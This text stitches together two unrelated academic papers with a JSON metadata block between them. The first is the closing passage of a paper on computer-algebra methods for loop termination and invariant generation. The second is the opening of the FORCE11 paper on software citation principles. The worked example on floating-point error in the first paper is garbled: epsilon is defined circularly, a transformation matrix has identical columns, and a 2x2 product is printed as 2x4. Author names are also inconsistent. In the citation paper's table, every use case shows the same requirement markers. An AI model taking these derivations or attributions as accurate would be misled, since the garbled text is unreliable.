the resulting condition on them and generate invariants with the predefined template. 3.6.2 Fractional formula as invariant For this case, in the first step, we predefine a template of invariant that is a parametric fractional formula. According to the results of polynomial algebra, the parametric fractional formula is equivalent to a parametric polynomial formula. So, the rest steps are reduced to those of the above case. 3.6.3 Fractional or radical expression as ranking function The ranking function is not necessarily a polynomial. By the results of polynomial algebra, similarly to the previ- ous discussion, it is quite easy to extend the approach of [9] to synthesize a ranking function represented by a fraction. In addition, Li [34] present another method for the synthesis of nonlinear ranking function of a program loop by employing the region-based search [5]. The idea is to reduce the nonlinear ranking function discovering to the inequality proving. The inequality prover BOTTEMA [66] then can be utilized to check validity for resulting inequalities. In contrast to other approaches, this one can also discover a ranking function with radicals due to BOTTEMA’s distinct features. 4 Symbolic decision procedure for termination of linear loops Triwari in [53] proved that the termination of the following loops on the reals is decidable, \[ P_1 : \quad \text{while } (Bx > b) \{ x := Ax + c \}, \] where \( A \) is an \( n \times n \) matrix, \( B \) is an \( m \times n \) matrix, and \( x \), \( b \), and \( c \) are vectors. \( Bx > b \) is a conjunction of strict linear inequalities which is the loop condition, while \( x := Ax + c \) is interpreted as updating the values of \( x \) by \( Ax + c \) simultaneously and not in any sequential order. We say \( P_1 \) terminates if it terminates on all initial values. The termination problem of \( P_1 \) can be easily reduced to that of the following homogeneous loop \[ P_2 : \quad \text{while } (Bx > 0) \{ x := Ax \}. \] A key step of the decision procedure in [53] is to compute the Jordan form of the matrix \( A \) so that one can have a diagonal description of \( A^n \). In [53] it was proved that if the Jordan form of \( A \) is \( A^* = Q^{-1}AQ \) and \( B^* \) is set to be \( BQ \), then \( P_2 \) terminates if and only if \[ P_2^* : \quad \text{while } (B^*x > 0) \{ x := A^*x \} \] terminates. This idea is natural, but, as pointed out in [62], if we use floating-point computation routines to calculate the Jordan form in a conventional way, the errors of floating-point computation may lead to a wrong conclusion. So, symbolic computation is needed in this decision framework. To see this point, let us consider the following homogeneous loop given in [62]. Example 2 Let \[ A = \begin{bmatrix} 2 & -3 \\ -1 & 2 \end{bmatrix}, \quad B = \begin{bmatrix} 1 & b \\ -1 & -b \end{bmatrix}, \] where \( b = \frac{1127637245}{651041167} \), \( \epsilon = -\sqrt{3} + \epsilon \approx -1.732050807 \), with \( \epsilon = \sqrt{3} - \frac{1127637245}{651041167} > 0 \). Determine whether or not \[ Q_1 : \quad \text{while } (Bx > 0) \{ x := Ax \} \] is terminating. According to the conventional method, in order to compute the Jordan form of \( A \) we have to calculate the eigenvalues of \( A \) by using floating-point computation, say, through the package linear (or LinearAlgebra) in Maple 11. The approximate eigenvalues of \( A \) are 3.732050808 and 0.267949192 (both take 10 decimal digits of precision). Hence, the Jordan form of \( A \) is \[ A^* = Q^{-1}AQ = \begin{bmatrix} 3.732050808 & 0 \\ 0 & 0.267949192 \end{bmatrix} \] where \[ Q = \begin{bmatrix} 0.5 & 0.5 \\ -0.2886751347 & 0.2886751347 \end{bmatrix} \] Use the same package of Maple 11, we calculate \[ B^* = BQ = \begin{bmatrix} 1.0 & 0.0 \\ 0.0 & -1.0 \end{bmatrix}. \] Then, according to the above discussion, the loop \( Q_1 \) is terminating if and only if the following loop \( Q_2 \) terminates, \[ Q_2 : \quad \text{while } (B^*x > 0) \{ x := A^*x \}. \] Obviously, \[ (A^*)^n = \begin{bmatrix} 3.732050808^n & 0 \\ 0 & 0.267949192^n \end{bmatrix}. \] If we let \( x = [1, -1]^T \), after \( n \) times of iteration, \[ (A^*)^n x = [3.732050808^n, -0.267949192^n], \] where \( v^T \) stands for the transpose of the vector \( v \). And the loop condition is \[ B^*(A^*)^n x = [3.732050808^n, 0.267949192^n] > [0, 0] \] which is always true for all \( n \). Therefore, \( Q_1 \) is not terminating. However, this conclusion is not correct. Let us see how the floating-point computation leads us to the wrong result. The Jordan form of \( A \) is indeed (by symbolic computation) \[ J = P^{-1}AP = \begin{bmatrix} 2 + \sqrt{3} & 0 \\ 0 & 2 - \sqrt{3} \end{bmatrix}, \] where \[ P = \begin{bmatrix} 1 & 1 \\ \frac{1}{6\sqrt{3}} & \frac{1}{6\sqrt{3}} \end{bmatrix}. \] and, in order to obtain \( B^* \), we should compute \( BP \) instead of \( BQ \). Symbolically, \[ BP = \begin{bmatrix} \frac{1}{2} & -\frac{b}{6} & \frac{1}{2} & \frac{b}{6} \\ -\frac{1}{2} & \frac{b}{6} & -\frac{1}{2} & \frac{b}{6} \end{bmatrix} \] Therefore \( m_{12} > 0, m_{21} < 0 \). However, when we use floating-point computation, these two entries \((m_{12} \text{ and } m_{21})\) are evaluated to 0 (in Maple 11 with Digits 10). That is why we obtain wrong result by floating-point computation. One may guess that if we evaluate \( BP \) rather than \( BQ \) through floating-point computation routines, we may obtain a more precise approximation. Unfortunately it is not true. In fact using floating-point computation to compute \( BP \) we will still get some strange results. For example, Maple 11 with Digits 10 gives \( BP \) the following matrix: \[ \begin{bmatrix} 1.0 & -1.0 \cdot 10^{-10} \\ 1.0 \cdot 10^{-10} & -1.0 \end{bmatrix} \] which is totally wrong, because, comparing with the signs of \( m_{12} \) and \( m_{21} \) in the above, \( m_{12} \) is negative and \( m_{21} \) positive. To handle the above problem, in [62], we developed a symbolic decision procedure for the termination of linear programs \( \mathcal{P}_1 \). The general framework of our procedure is quite similar to that of Tiwari’s [53], but we re-implement the two key steps, i.e. computing Jordan normal form of \( A \) and generating linear constraints, based on symbolic computation. Thus, our decision procedure avoids errors caused by floating-point computation. The basic idea of our approach is: Firstly, represent eigenvalues of \( A \) symbolically, and then symbolically compute a set of eigenvectors and generalized eigenvectors of \( A \), which can form an invertible matrix \( P \) such that \( P^{-1}AP \) is the Jordan normal form of \( A \). Thus, the termination problem of \( \mathcal{P}_2 \) is symbolically reduced to that of \( \mathcal{P}_2 \). Secondly, we presented a symbolic decision procedure to determine if \( \exists x \in N. B^*(A^*P)x > 0 \), i.e. whether or not \( \mathcal{P}_2 \) terminates. Furthermore, by complexity analysis, we showed that our symbolic decision procedure is efficient as the one given in [53]. The complexity of our algorithm is \( \max\{O(n^6), O(n^{m+3})\} \), where \( n \) is the number of variables of \( \mathcal{P}_2 \) and \( m \) is the number of the Boolean conditions of \( \mathcal{P}_2 \). In contrast, the complexity of the decision procedure developed in [53] is \( O(n^{m+3}) \). In addition, in [62] we also considered the case when the characteristic polynomial of \( A \) is irreducible. A much simpler and more efficient decision algorithm was invented by reduction to solving a semi-algebraic system only with one variable. The complexity of the algorithm for this case is \( \max\{O(n^6), O(n^{m+3})\} \). Bi and Shan [2] proposed a heuristic method to analyze the termination of a linear loop program with conditionals, that is, with "if...else..." statement. The method first transforms a linear loop program with conditionals into a nested linear loop program and then checks whether or not each of the inner loops terminates making use of positive eigenvalues and the corresponding eigenvectors. If one of the inner loops in the nest linear loop is nonterminating, then, so is the original linear loop. Otherwise, it still uses ranking functions by quantifier elimination to analyze the termination. 5 Termination analysis of nonlinear loops For a generic loop \[ \text{while (constraints)} \{ \text{updates} \} \] it is well known that the termination problem is undecidable in general, even for a simple class of polynomial programs [8]. In [4] Blondel et al. proved that, even when all the constraints and updates are given as piecewise linear functions, the termination of the loop remains undecidable. If the constraints or the updating function in the above loop is not linear, the loop is called nonlinear. In this section, we shall introduce briefly two recent decision results on termination of some classes of nonlinear loops. 5.1 Linear programs with nonlinear constraints In this subsection, we introduce the result of [61]. Let us consider the problem of termination of the following loop: \[ \bar{\mathcal{P}}_1: \quad \text{while } (P(X) > b) \{ X := AX + C \} \] where \( X = [x_1 \ldots x_N]^T \) is the vector of state variables of the program, \( P(X) = [P_1(X) \ldots P_M(X)]^T > b \) are polynomial constraints, each \( P_i(X)(1 \leq i \leq M) \) is a polynomial in \( \mathbb{Q}[X] \) and \( A \) is an \( N \times N \) matrix over \( \mathbb{Q} \) (the rational numbers). That is to say, we replace the linear constraints in \( \mathcal{P}_1 \) with polynomial constraints and keep linear updates unchanged. If \( b = 0 \) and \( C = 0 \), \( \bar{\mathcal{P}}_1 \) becomes \[ \mathcal{P}_1: \quad \text{while } (P(X) > 0) \{ X := AX \} \] which is called the homogeneous case of \( \bar{\mathcal{P}}_1 \). It is easy to show that the termination of \( \mathcal{P}_1 \) can be reduced to that of some \( \bar{\mathcal{P}}_1 \). Without loss of generality, we concentrate on the termination of \( \bar{\mathcal{P}}_1 \). The main contributions of [61] are as follows. First, it is proven that the termination of \( \mathcal{P}_1 \) over \( \mathbb{Z} \) is undecidable by reduction to Hilbert’s 10th problem. Moreover, Xia and Zhang proved that, if “>” is replaced with “≥” in \( P \), the termination of the resulted \( P \) over \( \mathbb{Z} \) is still undecidable. Second, an algorithm is proposed to decide the termination of \( P \) under a reasonable assumption. Let us explain the basic idea of the algorithm. To decide whether \( P \) is terminating, it is equivalent to check whether there exists \( X \) such that \( P(A^n X) > 0 \) holds for all \( n \geq 1 \). That means one should check the signs of each \( P(A^n X) \) for all \( n \geq 1 \). So, it is natural to compute first a general expression for each \( P(A^n X) \) of \( P(A^n X) \) for any \( n \). To this end, Xiang and Zhang in [61] first computed \( A^n X \), the value of state variables \( X \) after \( n \) iterations, by means of generating functions and obtained a unified formula expressing each entry of \( A^n X \). The method is more convenient for subsequent computation than the one using Jordan form. Then the value of \( P(A^n X) \) was expressed with the formula. The expression of \( P(A^n X) \) is much more complicated than that of linear case. To determine whether \( P(A^n X) > 0 \) as \( n \to +\infty \), it is sufficient to check the sign of coefficient of its dominant term as \( n \to +\infty \). So, a suitable order was introduced so that one can decide which term is the dominant (leading) term. The algorithm proposed in [61] first guesses a leading term for each expression and sets its coefficient to be “positive” and the coefficients of the terms with higher order to be “nonnegative”. This constructs a semi-algebraic system (SAS). If a guess is satisfiable, i.e., the corresponding SAS has solutions, the algorithm returns nonterminating. Otherwise, it returns terminating. The algorithm is incomplete in the sense that if it returns nonterminating, \( P \) is indeed nonterminating, but if it returns terminating \( P \) may not terminate. However, if \( P \) has a special property, the algorithm is complete. We do not want to explain the property here since it involves many technical details. We only comment that a large subclasses of \( P \) satisfy the property. Finally, it is conjectured that the termination of \( P \) over \( \mathbb{R} \) is undecidable in general. Moreover, Wu, Shen, Bi and Zeng [55, 56] considered the termination of linear loops with some more polynomial guards different from the above one. The termination decision is also reduced to semi-algebraic system solving by symbolically analyzing the Jordan form of the assignment matrix. 5.2 Nonlinear loops over intervals In this subsection, we introduce the main result of [70] obtained by Yao. The following loop is called loop over intervals \[ P_\Omega : \text{while} \ (x \in \Omega) \ {x := f(x)} \] where \( x \) is the only program variable, \( \Omega \) is an interval and \( f \) is a continuous function. Yao in [70] gives some surprisingly simple decision results on the termination of such loops. Firstly, he proved that if \( \Omega = (a, b) \subseteq \mathbb{R} \) and \( P_\Omega \) is nonterminating, then there must have a fixed point in \( [a, b] \subseteq \mathbb{R}_\infty \), where \( \mathbb{R}_\infty = \mathbb{R} \cup \{-\infty, +\infty\} \). An immediate corollary is that if \( \Omega = [a, b] \), then \( P_\Omega \) is nonterminating if and only if \( f \) has a fixed point in \( \Omega \). That means, in this case, one only needs to check whether \( f(x) = x \) is true on \( \Omega \). Secondly, he further proved that if \( f \) only has fixed point(s) at the endpoint(s) of \( \Omega \) and \( \Omega \) itself is not a closed interval, then the decision result on the termination of \( P_\Omega \) is also obtained by requiring \( f \) to have some additional properties. These properties are satisfied by a large subclasses of continuous functions. For example, piecewise polynomial functions satisfy these properties. Yao in [70] also proposed a decision algorithm for the termination of \( P_\Omega \) when \( f \) is a piecewise polynomial function. As pointed out in [70], a valuable future work along this direction is how to generalize those results to the cases when \( \Omega \) is the union of intervals or the program has more than one variables. 5.3 P-solvable loops without conditionals Bi, Shi and Wu [3] presented an algorithm to analyze termination of a class of nonlinear loop programs called P-solvable loop programs [31] without “if...else...” statements. This algorithm is based on recurrence solving and quantifier elimination. 6 Conclusion and Future Work In this paper, we summarized our recent research on program verification through computer algebra. The main results are: - A complete approach on automatic discovery of invariants and ranking functions by reduction to semi-algebraic systems solving. Compared with well-established work in this field, the merits of our approach are: First, using it one can more efficiently generate more expressive invariants; Second, it can be applied to nonlinear programs and discovering nonlinear ranking functions, in contract that well-known approaches can only applied to linear programs and discovering linear ranking functions; Finally, it is also complete. - A symbolic decision procedure for a class of simple linear loops first investigated in [33]. Our decision procedure is as efficient as the one given in [53] based on numerical computation, but our decision procedure can avoid the incorrectness caused by rounding error of floating point computation. In addition, for the case when the characteristic formula of the assignment matrix of a program is irreducible, we presented a very fast algorithm to decide if the program terminates or not. - The termination analysis of programs, in particular non-linear programs. Our ongoing and future work include - How to verify programs with complicated data structures is a big challenge. All well-established work mainly focus on simple data, in particular numbers. In practice, most programs contain complicated data structures, such as array, pointer, record, etc. So far, little success has been made towards the problem. The potential solution could be to invent new theories for specific data structures and combine different theories together. - It deserves to consider the verification of numerical programs, in particular backwards error analysis. - It would be interesting to investigate more specific classes of programs that have important applications in practice and find out decision procedures for their termination problems. We also need to invent more practical, but may be not complete termination analysis methods. - It deserves to consider how to apply the techniques and tools on computer algebra to verification of hybrid systems, in particular nonlinear hybrid systems. - We are interested in carrying out more case studies under different program paradigms to understand the advantage as well as the limitation of computer algebra tools. Acknowledgements We would like to thank our colleagues Prof. Zhi-Bin Li, Prof. Zhenbing Zeng, Dr. Liyong Shen, Dr. Min Wu, Dr. Shizhong Zhao, Dr. Zhongqing Bi, Dr. Liangyu Chen, Dr. Yi Li, Dr. Meijing Shan, Dr. Ming Xu, Dr. Bin Wu, Mr. Yinghua Chen, Mr. Yong Yao, Mr. Zhilai Zhang, and all the students involving in this research for their contributions to the projects. This work was initiated by the project “Applying Computer Algebra to Formal Methods” under the grant 60573007 funded by NSFC, and then further strengthened by the key project “Computer Algebra based Analysis, Verification and Tools for Embedded Systems” under the grant 90718041 within the framework of “Trustworthy Software Plan” funded by NSFC. The first and last authors are partly supported by the grants NKBRF-2004CB318003 and NKBRF-2005CB321902, and the second and third authors are partly supported by the grants NSFC-60721061 and NSFC-60736017. References 55. B. Wu, L. Shen, Z. Bi and Z. Zeng. Termination of loop programs with polynomial guards. (submitted)
{"Source-Url": "http://lcs.ios.ac.cn/~znj/papers/FCS2010.pdf", "len_cl100k_base": 14533, "olmocr-version": "0.1.53", "pdf-total-pages": 14, "total-fallback-pages": 0, "total-input-tokens": 77288, "total-output-tokens": 19782, "length": "2e13", "weborganizer": {"__label__adult": 0.0004711151123046875, "__label__art_design": 0.0005664825439453125, "__label__crime_law": 0.000598907470703125, "__label__education_jobs": 0.0026760101318359375, "__label__entertainment": 0.00013005733489990234, "__label__fashion_beauty": 0.0002503395080566406, "__label__finance_business": 0.00045108795166015625, "__label__food_dining": 0.0005741119384765625, "__label__games": 0.0011339187622070312, "__label__hardware": 0.0015287399291992188, "__label__health": 0.0014638900756835938, "__label__history": 0.000522613525390625, "__label__home_hobbies": 0.00023472309112548828, "__label__industrial": 0.0009164810180664062, "__label__literature": 0.000591278076171875, "__label__politics": 0.0005431175231933594, "__label__religion": 0.0007414817810058594, "__label__science_tech": 0.300048828125, "__label__social_life": 0.00017273426055908203, "__label__software": 0.00843048095703125, "__label__software_dev": 0.67626953125, "__label__sports_fitness": 0.0004298686981201172, "__label__transportation": 0.0011501312255859375, "__label__travel": 0.00024437904357910156}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 67058, 0.04181]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 67058, 0.47819]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 67058, 0.84922]], "google_gemma-3-12b-it_contains_pii": [[0, 3495, false], [3495, 8840, null], [8840, 14538, null], [14538, 20394, null], [20394, 26098, null], [26098, 30715, null], [30715, 33592, null], [33592, 38889, null], [38889, 43152, null], [43152, 48596, null], [48596, 54174, null], [54174, 59581, null], [59581, 65370, null], [65370, 67058, null]], "google_gemma-3-12b-it_is_public_document": [[0, 3495, true], [3495, 8840, null], [8840, 14538, null], [14538, 20394, null], [20394, 26098, null], [26098, 30715, null], [30715, 33592, null], [33592, 38889, null], [38889, 43152, null], [43152, 48596, null], [48596, 54174, null], [54174, 59581, null], [59581, 65370, null], [65370, 67058, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 67058, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 67058, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 67058, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 67058, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 67058, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 67058, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 67058, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 67058, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 67058, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 67058, null]], "pdf_page_numbers": [[0, 3495, 1], [3495, 8840, 2], [8840, 14538, 3], [14538, 20394, 4], [20394, 26098, 5], [26098, 30715, 6], [30715, 33592, 7], [33592, 38889, 8], [38889, 43152, 9], [43152, 48596, 10], [48596, 54174, 11], [54174, 59581, 12], [59581, 65370, 13], [65370, 67058, 14]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 67058, 0.0]]}
olmocr_science_pdfs
2024-12-07
2024-12-07
0f6652d45c6636035513a37c5c84b0f90ce07095
Software citation principles Citation for published version: Digital Object Identifier (DOI): 10.7717/peerj-cs.86 Link: Link to publication record in Edinburgh Research Explorer Document Version: Publisher's PDF, also known as Version of record Published In: PeerJ Computer Science Publisher Rights Statement: Copyright 2016 Smith et al. Distributed under Creative Commons CC-BY 4.0 General rights Copyright for the publications made accessible via the Edinburgh Research Explorer is retained by the author(s) and / or other copyright owners and it is a condition of accessing these publications that users recognise and abide by the legal requirements associated with these rights. Take down policy The University of Edinburgh has made every reasonable effort to ensure that Edinburgh Research Explorer content complies with UK legislation. If you believe that the public display of this file breaches copyright please contact openaccess@ed.ac.uk providing details, and we will remove access to the work immediately and investigate your claim. Software citation principles Arfon M. Smith\textsuperscript{1,*}, Daniel S. Katz\textsuperscript{2,*}, Kyle E. Niemeyer\textsuperscript{3,*} and FORCE11 Software Citation Working Group 1 GitHub, Inc., San Francisco, California, United States 2 National Center for Supercomputing Applications & Electrical and Computer Engineering Department & School of Information Sciences, University of Illinois at Urbana-Champaign, Urbana, Illinois, United States 3 School of Mechanical, Industrial, and Manufacturing Engineering, Oregon State University, Corvallis, Oregon, United States * These authors contributed equally to this work. ABSTRACT Software is a critical part of modern research and yet there is little support across the scholarly ecosystem for its acknowledgement and citation. Inspired by the activities of the FORCE11 working group focused on data citation, this document summarizes the recommendations of the FORCE11 Software Citation Working Group and its activities between June 2015 and April 2016. Based on a review of existing community practices, the goal of the working group was to produce a consolidated set of citation principles that may encourage broad adoption of a consistent policy for software citation across disciplines and venues. Our work is presented here as a set of software citation principles, a discussion of the motivations for developing the principles, reviews of existing community practice, and a discussion of the requirements these principles would place upon different stakeholders. Working examples and possible technical solutions for how these principles can be implemented will be discussed in a separate paper. SOFTWARE CITATION PRINCIPLES The main contribution of this document are the software citation principles, written fairly concisely in this section and discussed further later in the document (see Discussion). In addition, we also motivate the creation of these principles (see Motivation), describe the process by which they were created (see Process of Creating Principles), summarize use cases related to software citation (see Use Cases), and review related work (see Related Work). We also lay out the work needed to lead to these software citation principles being applied (see Future Work). 1. Importance: Software should be considered a legitimate and citable product of research. Software citations should be accorded the same importance in the scholarly record as citations of other research products, such as publications and data; they should be included in the metadata of the citing work, for example in the reference list of a journal article, and should not be omitted or separated. Software should be cited on the same basis as any other research product such as a paper or a book, that is, authors should cite the appropriate set of software products just as they cite the appropriate set of papers. 2. **Credit and attribution:** Software citations should facilitate giving scholarly credit and normative, legal attribution to all contributors to the software, recognizing that a single style or mechanism of attribution may not be applicable to all software. 3. **Unique identification:** A software citation should include a method for identification that is machine actionable, globally unique, interoperable, and recognized by at least a community of the corresponding domain experts, and preferably by general public researchers. 4. **Persistence:** Unique identifiers and metadata describing the software and its disposition should persist—even beyond the lifespan of the software they describe. 5. **Accessibility:** Software citations should facilitate access to the software itself and to its associated metadata, documentation, data, and other materials necessary for both humans and machines to make informed use of the referenced software. 6. **Specificity:** Software citations should facilitate identification of, and access to, the specific version of software that was used. Software identification should be as specific as necessary, such as using version numbers, revision numbers, or variants such as platforms. --- **MOTIVATION** As the process of research\(^1\) has become increasingly digital, research outputs and products have grown beyond simply papers and books to include software, data, and other electronic components such as presentation slides, posters, (interactive) graphs, maps, websites (e.g., blogs and forums), and multimedia (e.g., audio and video lectures). Research knowledge is embedded in these components. Papers and books themselves are also becoming increasingly digital, allowing them to become executable and reproducible. As we move towards this future where research is performed in and recorded as a variety of linked digital products, the characteristics and properties that developed for books and papers need to be applied to, and possibly adjusted for, all digital products. Here, we are concerned specifically with the citation of software products. The challenge is not just the textual citation of software in a paper, but the more general identification of software used within the research process. This work focuses on making software a citable entity in the scholarly ecosystem. While software products represent a small fraction of the sum total of research output, this work together with other efforts such as the FORCE11 Data Citation Principles (Data Citation Synthesis Group, 2014; Starr et al., 2015) collectively represent an effort to better describe (and cite) all outputs of research. Software and other digital resources currently appear in publications in very inconsistent ways. For example, a random sample of 90 articles in the biology literature found seven different ways that software was mentioned, including simple names in the full-text, URLs in footnotes, and different kinds of mentions in reference lists: project names or websites, user manuals or publications that describe or introduce the software (Howison & Bullard, 2015). Table 1 shows examples of these varied forms of software mentions and the frequency with which they were encountered. Many of these kinds of mentions fail to perform the functions needed --- \(^1\) We use the term “research” in this document to include work intended to increase human knowledge and benefit society, in science, engineering, humanities, and other areas. of citations, and their very diversity and frequent informality undermine the integration of software work into bibliometrics and other analyses. Studies on data and facility citation have shown similar results (Huang, Rose & Hsu, 2015; Mayernik, Maull & Hart, 2015; Parsons, Duerr & Minster, 2010). There are many reasons why this lack of both software citations in general and standard practices for software citation are of concern: - Understanding research fields: Software is a product of research, and by not citing it we leave holes in the record of research of progress in those fields. - Credit: Academic researchers at all levels, including students, postdocs, faculty, and staff, should be credited for the software products they develop and contribute to, particularly when those products enable or further research done by others. - Non-academic researchers should also be credited for their software work, though the specific forms of credit are different than for academic researchers. - Discovering software: Citations enable the specific software used in a research product to be found. Additional researchers can then use the same software for different purposes, leading to credit for those responsible for the software. - Reproducibility: Citation of specific software used is necessary for reproducibility, although not sufficient. Additional information such as configurations and platform issues are also needed. **PROCESS OF CREATING PRINCIPLES** The FORCE11 Software Citation Working Group was created in April 2015 with the following mission statement: *The software citation working group is a cross-team committee leveraging the perspectives from a variety of existing initiatives working on software citation to produce a consolidated set of citation principles in order to encourage broad adoption of a consistent policy for software citation across disciplines and venues. The working group will review existing efforts and make a set of recommendations. These recommendations will be put off for endorsement by the organizations represented by this group and others that play an important role in the community.* --- 2 Providing recognition of software can have tremendous economic impact as demonstrated by the role of Text REtrieval Conference (TREC) in information retrieval (Rowe et al., 2010). The group will produce a set of principles, illustrated with working examples, and a plan for dissemination and distribution. This group will not be producing detailed specifications for implementation although it may review and discuss possible technical solutions. The group gathered members (see Appendix A) in April and May 2015, and then began work in June. This materialized as a number of meetings and offline work by group members to document existing practices in member disciplines; gather materials from workshops and other reports; review those materials, identifying overlaps and differences; create a list of use cases related to software citation, recorded in Appendix B; and subsequently draft an initial version of this document. The draft Software Citation Principles document was discussed in a day-long workshop and presented at the FORCE2016 Conference in April 2016 (https://www.force11.org/meetings/force2016). Members of the workshop and greater FORCE11 community gave feedback, which we recorded here in Appendix C. This discussion led to some changes in the use cases and discussion, although the principles themselves were not modified. We also plan to initiate a follow-on implementation working group that will work with stakeholders to ensure that these principles impact the research process. The process of creating the software citation principles began by adapting the FORCE11 Data Citation Principles (Data Citation Synthesis Group, 2014). These were then modified based on discussions of the FORCE11 Software Citation Working Group (see Appendix A for members), information from the use cases in section Use Cases, and the related work in section Related Work. We made the adaptations because software, while similar to data in terms of not traditionally having been cited in publications, is also different than data. In the context of research (e.g., in science), the term “data” usually refers to electronic records of observations made in the course of a research study (“raw data”) or to information derived from such observations by some form of processing (“processed data”), as well as the output of simulation or modeling software (“simulated data”). Some confusion about the distinction between software and data comes in part from the much wider scope of the term “data” in computing and information science, where it refers to anything that can be processed by a computer. In that sense, software is just a special kind of data. Because of this, citing software is not the same as citing data. A more general discussion about these distinctions is currently underway (https://github.com/danielskatz/software-vs-data). The principles in this document should guide further development of software citation mechanisms and systems, and the reader should be able to look at any particular example of software citation to see if it meets the principles. While we strive to offer practical guidelines that acknowledge the current incentive system of academic citation, a more modern system of assigning credit is sorely needed. It is not that academic software needs a separate credit system from that of academic papers, but that the need for credit for research software underscores the need to overhaul the system of credit for all research products. One possible solution for a more complete description of the citations and associated credit is the transitive credit proposed by Katz (2014) and Katz & Smith (2015). USE CASES We documented and analyzed a set of use cases related to software citation in FORCE11 Software Citation Working Group (https://docs.google.com/document/d/1dS0SqGoBIfwLB5G3HiLLEOSAAgMdo8QPEpjYUaWCvIU) (recorded in Appendix B for completeness). Table 2 summarizes these use cases and makes clear what the requirements are for software citation in each case. Each example represents a particular stakeholder performing an activity related to citing software, with the given metadata as information needed to do that. In that table, we use the following definitions: - “Researcher” includes both academic researchers (e.g., postdoc, tenure-track faculty member) and research software engineers. - “Publisher” includes both traditional publishers that publish text and/or software papers as well as archives such as Zenodo that directly publish software. - “Funder” is a group that funds software or research using software. - “Indexer” examples include Scopus, Web of Science, Google Scholar, and Microsoft Academic Search. - “Domain group/library/archive” includes the Astronomy Source Code Library (ASCL; http://ascl.net); biomedical and healthCare Data Discovery Index Ecosystem (bioCADDIE; https://biocaddie.org); Computational Infrastructure for Geodynamics (CIG; https://geodynamics.org), libraries, institutional archives, etc. - “Repository” refers to public software repositories such as GitHub, Netlib, Comprehensive R Archive Network (CRAN), and institutional repositories. - “Unique identifier” refers to unique, persistent, and machine-actionable identifiers such as a DOI, ARK, or PURL. - “Description” refers to some description of the software such as an abstract, README, or other text description. - “Keywords” refers to keywords or tags used to categorize the software. - “Reproduce” can mean actions focused on reproduction, replication, verification, validation, repeatability, and/or utility. - “Citation manager” refers to people and organizations that create scholarly reference management software and websites including Zotero, Mendeley, EndNote, RefWorks, BibDesk, etc., that manage citation information and semi-automatically insert those citations into research products. All use cases assume the existence of a citable software object, typically created by the authors/developers of the software. Developers can achieve this by, e.g., uploading a software release to figshare (https://figshare.com/) or Zenodo (GitHub, 2014) to obtain a DOI. Necessary metadata should then be included in a CITATION file (Wilson, 2013) or machine-readable CITATION.jsonld file (Katz & Smith, 2015). When software is not <table> <thead> <tr> <th>Use case</th> <th>Basic requirements</th> <th>Example stakeholder(s)</th> </tr> </thead> <tbody> <tr> <td>1. Use software for a paper</td> <td>Unique identifier (●), Software name (●), Author(s) role (●), Contributor role (●), Version number (●), Release date (●), Location/repository (●), Indexed citations (●), Software license (●), Description (●), Keywords (●), Example (●)</td> <td>Researcher</td> </tr> <tr> <td>2. Use software in/with new software</td> <td>Unique identifier (●), Software name (●), Author(s) role (●), Contributor role (●), Version number (●), Release date (●), Location/repository (●), Indexed citations (●), Software license (●), Description (●), Keywords (●), Example (●)</td> <td>Researcher, software engineer</td> </tr> <tr> <td>3. Contribute to software</td> <td>Unique identifier (●), Software name (●), Author(s) role (●), Contributor role (●), Version number (●), Release date (●), Location/repository (●), Indexed citations (●), Software license (●), Description (●), Keywords (●), Example (●)</td> <td>Researcher, software engineer</td> </tr> <tr> <td>4. Determine use/citations of software</td> <td>Unique identifier (●), Software name (●), Author(s) role (●), Contributor role (●), Version number (●), Release date (●), Location/repository (●), Indexed citations (●), Software license (●), Description (●), Keywords (●), Example (●)</td> <td>Researcher, software engineer</td> </tr> <tr> <td>5. Get credit for software development</td> <td>Unique identifier (●), Software name (●), Author(s) role (●), Contributor role (●), Version number (●), Release date (●), Location/repository (●), Indexed citations (●), Software license (●), Description (●), Keywords (●), Example (●)</td> <td>Researcher, software engineer</td> </tr> <tr> <td>6. &quot;Reproduce&quot; analysis</td> <td>Unique identifier (●), Software name (●), Author(s) role (●), Contributor role (●), Version number (●), Release date (●), Location/repository (●), Indexed citations (●), Software license (●), Description (●), Keywords (●), Example (●)</td> <td>Researcher</td> </tr> <tr> <td>7. Find software to implement task</td> <td>Unique identifier (●), Software name (●), Author(s) role (●), Contributor role (●), Version number (●), Release date (●), Location/repository (●), Indexed citations (●), Software license (●), Description (●), Keywords (●), Example (●)</td> <td>Researcher, software engineer</td> </tr> <tr> <td>8. Publish software paper</td> <td>Unique identifier (●), Software name (●), Author(s) role (●), Contributor role (●), Version number (●), Release date (●), Location/repository (●), Indexed citations (●), Software license (●), Description (●), Keywords (●), Example (●)</td> <td>Publisher</td> </tr> <tr> <td>9. Publish papers that cite software</td> <td>Unique identifier (●), Software name (●), Author(s) role (●), Contributor role (●), Version number (●), Release date (●), Location/repository (●), Indexed citations (●), Software license (●), Description (●), Keywords (●), Example (●)</td> <td>Publisher</td> </tr> <tr> <td>10. Build catalog of software</td> <td>Unique identifier (●), Software name (●), Author(s) role (●), Contributor role (●), Version number (●), Release date (●), Location/repository (●), Indexed citations (●), Software license (●), Description (●), Keywords (●), Example (●)</td> <td>Indexer</td> </tr> <tr> <td>11. Build software catalog/registry</td> <td>Unique identifier (●), Software name (●), Author(s) role (●), Contributor role (●), Version number (●), Release date (●), Location/repository (●), Indexed citations (●), Software license (●), Description (●), Keywords (●), Example (●)</td> <td>Domain group, library, archive</td> 